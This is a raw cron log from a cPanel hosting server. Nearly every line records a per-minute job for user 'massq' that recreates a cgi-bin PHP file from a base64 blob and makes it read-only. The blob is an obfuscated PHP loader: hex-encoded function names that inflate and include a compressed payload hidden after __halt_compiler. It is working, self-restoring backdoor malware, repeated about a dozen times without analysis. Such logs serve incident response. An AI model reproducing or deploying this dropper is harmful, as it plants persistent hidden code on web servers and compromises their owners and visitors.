Nov 15 15:15:01 server CROND[9406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:15:01 server CROND[9407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:16:01 server CROND[9712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:17:01 server CROND[9976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:18:01 server CROND[10243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:19:01 server CROND[10511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:20:01 server CROND[10768]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:20:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:20:01 server CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 15:20:01 server CROND[10772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:20:01 server CROND[10773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:21:01 server CROND[11221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:22:01 server CROND[11498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:23:01 server CROND[11761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:24:01 server CROND[12020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:25:01 server CROND[12287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:25:01 server CROND[12288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:25:01 server CROND[12289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:26:01 server CROND[12701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:27:01 server CROND[12966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:27:01 server CROND[12967]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
